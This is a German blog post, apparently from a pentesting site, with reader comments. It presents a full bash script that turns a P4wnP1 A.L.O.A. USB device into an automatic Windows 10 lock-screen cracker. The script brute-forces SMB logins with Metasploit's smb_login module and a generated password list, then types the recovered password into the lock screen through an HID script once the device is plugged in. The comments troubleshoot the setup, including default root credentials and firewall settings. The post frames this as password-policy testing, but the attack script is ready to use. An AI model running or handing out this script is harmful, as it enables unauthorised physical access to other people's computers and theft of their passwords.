SMB (Server Message Block) ist ein Protokoll, das in lokalen Netzwerken für die Übertragung von Daten zwischen einem Client und einem Server verantwortlich ist. Ursprünglich wurde es dazu eingesetzt, um in Windows-Netzwerken Dateien und Verzeichnisse freizugeben bzw. Druckdienste zu realisieren. Aber auch unter Linux existiert eine Schnittstelle (Samba), die es ermöglicht mit Windows-Clients Daten über TCP/IP auszutauschen. Standardmäßig verläuft die Kommunikation über TCP Port 445. Falls Sie aber NetBIOS Funktionen (Network Basic Input Output System) zur Namensauflösung benutzen wollen, sollten sie die Ports 137, 138 UDP und 137, 139 TCP freigeben.
SMB-Bruteforce-Angriffe werden im Rahmen eines Penetrationstests eingesetzt, um die Wirksamkeit der Kennwortrichtlinien zu überprüfen bzw. potenzielle Angriffsmethoden zu identifizieren. Dabei wird versucht, systematisch und automatisch, Benutzernamen- und Passwortkombinationen zu erraten. Ziel dabei ist, gültige Anmeldedaten zu finde, die sich als Zugang zu einem Zielnetzwerk nutzen lassen.
Das Metasploit Framework stellt diverse Module bereit, die Sie für Ihre Tests nutzen können.
Der P4wnP1, entwickelt von MaMe82, hat sich als universelles Werkzeug bewährt, mit dem Sie solche Tests durchführen können. Im folgenden Beitrag erläutere ich, wie Sie automatisiert eine Datei mit potentiellen Passworten erstellen und den P4wnP1 so einrichten, dass er automatisiert nach dem richtigen Passwort sucht und damit einen Windows 10 PC entsperrt.
Grundlagen
Wer sich mit diesem Thema beschäftigt sollte wissen, wie man das Metasploit Framework für Penetrationstests einsetzt. In diesem Beispiel nutzen wir folgendes Auxiliary:
Viele der benötigten Optionen sind bereits mit Werten vorbelegt. Zusätzlich benötigen wir noch Dateien für die zu verwendenden Nutzernamen und Passwörter. In unserem Beispiel sind das die Optionen USER_FILE und PASS_FILE.
Passwortliste erstellen
Der zu verwendende Nutzername wird als Option im nachfolgenden Bash-Skript eingetragen. Für die Option PASS_FILE müssen wir im nächsten Schritt eine Liste mit möglichen Passwörtern erstellen. Sie können hier natürlich diverse Downloads aus dem Internet verwenden. Ich habe aber festgestellt, dass Anwender nicht besonders kreativ sind, wenn sie monatlich das Passwort ändern müssen. Hier wird z.B. gern eine Kombination aus Monatsnamen, Jahreszahl und einem Sonderzeichen gewählt. Hinter dem „Intelligence Wordlist Generator“ von zztor verbirgt sich ein Python Skript, mit dem Listen für verschiedene Passwort-Kombinationen erstellt werden können.
Haben Sie das Skript heruntergeladen, müssen Sie nur noch die Konfigurationsdatei Ihren Wünschen anpassen. Beachten Sie, das verschiedene Einstellungen natürlich unterschiedliche große Passwortdateien erzeugen. Für unser Vorhaben reicht folgende Konfiguration aus. Sie erzeugt eine Liste mit ca. 1500 Einträgen:
Wenden Sie das Skript wie folgt an:
python iwlgen.py -c config.cfg -o wordlist.txt
P4wnP1 A.L.O.A. einrichten
In diesem Beitrag würde es zu weit führen, alle Möglichkeiten des P4wnP1 hier vorzustellen. Eine gute Einführung zur Installation und Handhabung findet man auf der Github-Seite des Entwicklers mame82.
Einige Features der alten Ausführung wurden hier bereits vorgestellt. Die aktuelle Version hat mame82 A.L.O.A. (A Little Offensive Appliance) genannt. Das folgende Bash-Skript (lockpicker.sh) wurde für diese Modifikation geschrieben.
#!/bin/sh
# Title: Windows 10 Lockpicker with P4wnP1 A.L.O.A
# Author: Pentestit.de, Frank Neugebauer
# Version: 0.1 - 2019/06/13
#
# 1. Create a wordlist.txt with passwords to use
# I recommend using "Intelligence Wordlist Generator (iwlgen)" for it. Get more information here:
# https://github.com/zzztor/intelligence-wordlist-generator
# 2 You need Metasploit Framework to run auxiliary/scanner/smb/smb_login.
# It is preinstalled on your P4wnP1 A.L.O.A.
# 3. Make your settings in the section below.
# 4. Run lockpicker.sh script from Wordlist directory or use P4wnP1 Webinterface to create
# TriggerAction: Enabled, One Shot, Trigger: DHCP leased issued, Action: run a Bash script: lockpicker.sh
#
# LED is permanently on = password found and stored in WORDLIST_DIR
# LED is blinking three times = no password found
#------------------------------------------------------------------------------------------------------------
# Make your settings here
TARGET_IP="172.16.0.2"
KEYBOARD_LAYOUT="GE"
WORDLIST_DIR="/usr/local/P4wnP1/scripts/iwlgen"
USERNAME="frank"
#Turn LED off
P4wnP1_cli led -b 0 >/dev/null
# Setup default gw on RDNIS interface
P4wnP1_cli net set server -i usbeth -a 172.16.0.1 -m 255.255.255.252 -o "3:172.16.0.1" -o "6:" -r "172.16.0.2|172.16.0.2|5m" >/dev/null
sleep 5
# Create a userlist.txt according to your settings
cd $WORDLIST_DIR
echo "${USERNAME}" > userlist.txt
# Delete old passwords.txt
testfile="$WORDLIST_DIR/password.txt"
if [ -f "$testfile" ];then
rm $WORDLIST_DIR/password.txt
fi
# Check if wordlist.txt exists in current directory
testfile="$WORDLIST_DIR/wordlist.txt"
if ! [ -f "$testfile" ];then
echo "No wordlist found. Create a list with passwords and copy it to ${WORDLIST_DIR}."
exit
fi
echo "Wait until the password for user $USERNAME is found ..."
# Run Metasploit Console
msfconsole -q -x "use auxiliary/scanner/smb/smb_login; set STOP_ON_SUCCESS true; set RHOSTS $TARGET_IP; set USER_FILE $WORDLIST_DIR/userlist.txt; set PASS_FILE $WORDLIST_DIR/wordlist.txt; run; exit" > result.txt
grep "Success" result.txt | cut -d: -f5 | sed 's/.$//' > password.txt
# Delete empty file (password.txt)
if ! [ -s password.txt ];
then
rm password.txt
fi
# Check if password is found
testfile="$WORDLIST_DIR/password.txt"
if [ -f "$testfile" ];then
echo "Password found for user ${USERNAME} : `cat password.txt`"
echo "`cat password.txt`" >> $WORDLIST_DIR/recent_passwords.txt
P4wnP1_cli led -b 255 >/dev/null # LED is permanantly on
else
echo "No password found!"
P4wnP1_cli led -b 3 >/dev/null # LED is blinking three times
exit
fi
# Create HID-Script and run it
password=`cat password.txt`
echo "layout(\"${KEYBOARD_LAYOUT}\")" > /usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "press(\"ESC\")" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "delay(1000)" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "type(\"${password}\")" >> /usr/local/P4wnP1/HIDScripts/lockpicker.js
echo "press(\"ENTER\")" >>/usr/local/P4wnP1/HIDScripts/lockpicker.js
P4wnP1_cli hid run -n lockpicker.js >/dev/null
Sie müssen nur noch die Anpassungen im ersten Teil des Skriptes vornehmen und es dann im Verzeichnis /usr/local/P4wnP1/scripts auf dem P4wnP1 abspeichern. Auch die dazugehörige Liste mit den zu verwendeten Passwörtern sollte sich im passenden Verzeichnis (siehe Skript) befinden.
Sie haben nun folgende Möglichkeiten den SMB-Brute-Force-Angriff auszuführen:
Nutzen Sie ssh und führen von dort das Skript lockpicker.sh aus oder erstellen Sie (siehe Video) eine TriggerAction, die automatisch beim Einstecken des P4wnP1 im Zielsystem ausgeführt wird.
Gefundene Passwörter sind in der Datei recent_passwords.txt auf dem P4wnP1 gespeichert.
Das nachfolgende Video zeigt die grundsätzliche Vorgehensweise:
Hallo Frank,
konntest Du ein bisschen genauer erklären, wie ich die beide Dateien (Wörterbuch und Script) in passende Verzeichnisse kopieren kann? Über SSH (ssh pi@172.16.0.1) kann ich die Karte nicht erreichen. Sämtliche Passwörter für pi@172.24.0.1 (“toor”, “raspberry”, “MaMa82-P4wnP1”) werden nicht akzeptiert. Ich benutzte Originalimage “Kali Linux P4wnP1 ALOA”.
Da es sich bei ALOA um eine Kali Image handelt solltest Du nicht pi sondern root verwenden. Einfach scp nutzen:
scp datei root@172.24.0.1:/Verzeichnis_auf_P4wnP1
Dazu den PC mit dem WLAN des P4wnP1 verbinden. Passwort sollte toor sein, wenn es nicht geändert wurde.
Ich begreife es trotzdem nicht. Ich versuche es über Windows 10 einzurichten. Pi Zero W wird nun erkannt, aber keine Internet-Verbindung hergestellt (Haupt-WLAN-Adapter läuft).Wenn ich versuche den Haupt-WLAN für gemeinsamen Internet-Nutzung freischalten, verschwindet Internet komplett. Ich kann zwar auf Oberfläche von 172.24.01:8000 in Browser zugreifen, aber es wird über CMD keine SSH-/SCP-Verbindung möglich. Es kommt immer gleiche Fehlermeldung:
pi@172.24.01 (pi@172.16.0.1, root@172.24.0.1, root@172.16.0.1):
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
SHA256:WYlXUeVq7LBcPu8ZzH/pJCuHVN/UPXeIniyIGK9Z58w.
Please contact your system administrator.
Add correct host key in C:\\Users\\xxx/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in C:\\Users\\xxx/.ssh/known_hosts:1
ECDSA host key for (172.24.0.1 oder 172.16.0.1) has changed and you have requested strict checking.
Host key verification failed.
Wahrscheinlich werde ich mit Hash Bunny besser bedient. Diese Nummer ist zu hoch für mich. 🙁
Hierbei handelt es sich um keinen Fehler, sondern eine Warnung bezüglich ssh. Die Lösung steht auch weiter unter: “Add correct host key in C:\\Users\\xxx/.ssh/known_hosts to get rid of this message.”
Auf den genutzten ssh-Client, in der Datei known_hosts, ist ein Schlüssel eingetragen, der nicht aktuell
ist. Er muss dort zunächst entfernt werden und wird dann bei der nächsten Verbindung neu angelegt.
Es hat also nichts mit P4wnP1 oder Bash Bunny zu tun, sondern ist ein Sicherheitshinweis von ssh.
PS: Dabei funktioniert es mit P4wnP1 (nicht A.L.O.A) einwandfrei, leider kann man dort keine UTF8-Passwörter entschlüsseln.
Hello i tried this on the neweat version of P4wnp1 aloa and it didnt work, these are the errors
[*] 172.16.0.2:445 – 172.16.0.2:445 – Starting SMB login bruteforce
[-] 172.16.0.2:445 – 172.16.0.2:445 – Could not connect
[!] 172.16.0.2:445 – No active DB — Credential data will not be saved!
[-] 172.16.0.2:445 – 172.16.0.2:445 – Could not connect
[-] 172.16.0.2:445 – 172.16.0.2:445 – Could not connect
[*] 172.16.0.2:445 – Scanned 1 of 1 hosts (100% complete)
thanks
Please check the firewall settings on the local machine. Domain Firewall should be on, but the private firewall should be off. If this is not the case, you have to find a way (e.g. with a HID-Scripts) to accomplish it.
Hallo Frank
Ich verstehe nicht, warum dies bei mir nicht läuft 🙁
Ich Starte das Skript über die SSH-Verbindung, doch es findet keinen Match. Ich habe eine wordlist.txt erstellt und das entsprechende einfache Passwort “hallo111” dort abgespeichert. Es wird mir immer die Meldung angezeigt, dass kein Passwort für diese User gefunden wurde.
Kannst du mir helfen?
Ich gehe davon aus, dass der Scanner keine SMB-Abfragen auf dem Zielsystem durchführen kann oder diese durch die integrierte Firewall (Windows) geblockt werden. Um dies zu testen müsste man den Scanner (use auxiliary/scanner/smb/smb_login) über die ssh-Verbindung von der Konsole starten:
Etwa so:
msfconsole -q -x “use auxiliary/scanner/smb/smb_login; set STOP_ON_SUCCESS true; set RHOSTS “IP-Adresse des Zieles”; set USER_FILE $WORDLIST_DIR/userlist.txt; set PASS_FILE $WORDLIST_DIR/wordlist.txt; run;
Super, danke dir für deine Antwort, das hat so funktioniert und tatsächlich war der SMB-Port nicht offen. Weisst du, ob dieser standardmässig immer geschlossen ist unter Windows? Google hat mir da keine vernünftige Auskunft geben können.
Aus meiner Sicht ist er nach einer Installation von Windows 10 auf einem neuen Stand-Alone PC immer geschlossen. In Netzwerken wird er fast immer freigeschaltet, um die Kommunikation zu ermöglichen.